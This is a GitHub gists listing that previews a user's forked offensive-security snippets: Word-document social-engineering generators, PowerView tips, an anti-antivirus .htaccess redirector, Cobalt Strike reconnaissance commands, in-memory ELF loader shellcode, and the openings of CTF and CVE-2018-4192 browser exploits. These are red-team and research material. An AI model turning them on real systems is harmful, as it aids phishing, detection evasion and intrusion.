raystyle’s gists

raystyle / Shell.Explorer open file.ps1

Created September 25, 2018 10:41 — forked from securifybv/Shell.Explorer open file.ps1

PowerShell script that creates a Word document containing an embedded Internet Explorer object. It uses Packager to create an object that looks like an embedded file, clicking the object will trigger a file download. See also: https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html

	# target file path
	$filename = [Environment]::GetFolderPath('Desktop') + '\WebBrowser.docx'

	# path to open
	#$path = 'c:\windows\system32\calc.exe'
	$path = 'https://securify.nl/blog/SFY20180801/thisisfine.url'

	# the temp file is used for creating the icon
	$tmpfile = "$env:TEMP\Totally Safe.txt"

raystyle / Forms.HTML.ps1

Created September 26, 2018 03:01 — forked from securifybv/Forms.HTML.ps1

PowerShell script that creates a Word document with an embedded Forms.HTML:Image.1 object that when clicked will cause Calculator to be opened. See also: https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html

	# target file path
	$filename = [Environment]::GetFolderPath('Desktop') + '\Forms.HTML.docx'
	$progid = 'Forms.HTML:Image.1'
	$clsid = '5512D112-5CC6-11CF-8D67-00AA00BDCE1D'
	$html = '<x type="image" src="https://securify.nl/blog/SFY20180801/packager.emf" action="file:///c\|/windows/system32/calc.exe">'

	# load assemblies for changing the docx (zip) file
	[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem')
	[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression')

raystyle / PowerView-3.0-tricks.ps1

Created September 26, 2018 09:53 — forked from HarmJ0y/PowerView-3.0-tricks.ps1

PowerView-3.0 tips and tricks

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

raystyle / clr_via_native.c

Created September 28, 2018 02:11 — forked from xpn/clr_via_native.c

A quick example showing loading CLR via native code

	#include "stdafx.h"

	int main()
	{
	ICLRMetaHost *metaHost = NULL;
	IEnumUnknown *runtime = NULL;
	ICLRRuntimeInfo *runtimeInfo = NULL;
	ICLRRuntimeHost *runtimeHost = NULL;
	IUnknown *enumRuntime = NULL;
	LPWSTR frameworkName = NULL;

raystyle / .htaccess

Created September 28, 2018 07:57 — forked from curi0usJack/.htaccess

Drop into your apache working directory to instantly redirect most AV crap elsewhere.

	RewriteEngine On
	RewriteOptions Inherit

	# Uncomment the below line for verbose logging, including seeing which rule matched.
	#LogLevel alert rewrite:trace5

	# BURN AV BURN

	# Class A Exclusions. Includes large ranges from Azure & AWS
	# Cloudfronted requests by default will have a UA of "Amazon Cloudfront". More info here: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device

raystyle / cobaltstrike_sa.txt

Created September 29, 2018 09:36 — forked from HarmJ0y/cobaltstrike_sa.txt

Cobalt Strike Situational Awareness Commands

	Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

	Users who have authed to the system:
	ls C:\Users\

	System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

	Saved outbound RDP connections:

raystyle / mem-loader.asm

Created October 8, 2018 05:32 — forked from zznop/mem-loader.asm

Fun little loader shellcode that executes an ELF in-memory using an anonymous file descriptor (inspired by https://x-c3ll.github.io/posts/fileless-memfd_create/)

	;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
	;;;
	;;; Copyright (C), zznop, [email protected]
	;;;
	;;; This software may be modified and distributed under the terms
	;;; of the MIT license. See the LICENSE file for details.
	;;;
	;;; DESCRIPTION
	;;;
	;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF

raystyle / d8.js

Created October 8, 2018 05:32 — forked from itszn/d8.js

Plaid CTF 2018 d8 exploit

	/* Plaid CTF 2018 v8 Exploit. Exploit begins around line 240 */


	/* ### Utils, thanks saelo ### */

	//
	// Tiny module that provides big (64bit) integers.
	//
	// Copyright (c) 2016 Samuel Groß
	//

raystyle / exploit.js

Created October 8, 2018 05:33 — forked from itszn/exploit.js

Exploit for JavascriptCore CVE-2018-4192

	// Load Int library, thanks saelo!
	load('util.js');
	load('int64.js');


	// Helpers to convert from float to in a few random places
	var conva = new ArrayBuffer(8);
	var convf = new Float64Array(conva);
	var convi = new Uint32Array(conva);
	var convi8 = new Uint8Array(conva);

raystyle / exploit.html

Created October 8, 2018 05:33 — forked from itszn/exploit.html

34c3ctf V9 Exploit

	<script>
	function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

	var sc = [];
	for (var i=0; i<0x480; i++) {
	sc.push(0x90);
	}
	//sc.push(0xcc);
	//sc.push(0xeb);
	//sc.push(0xfe);

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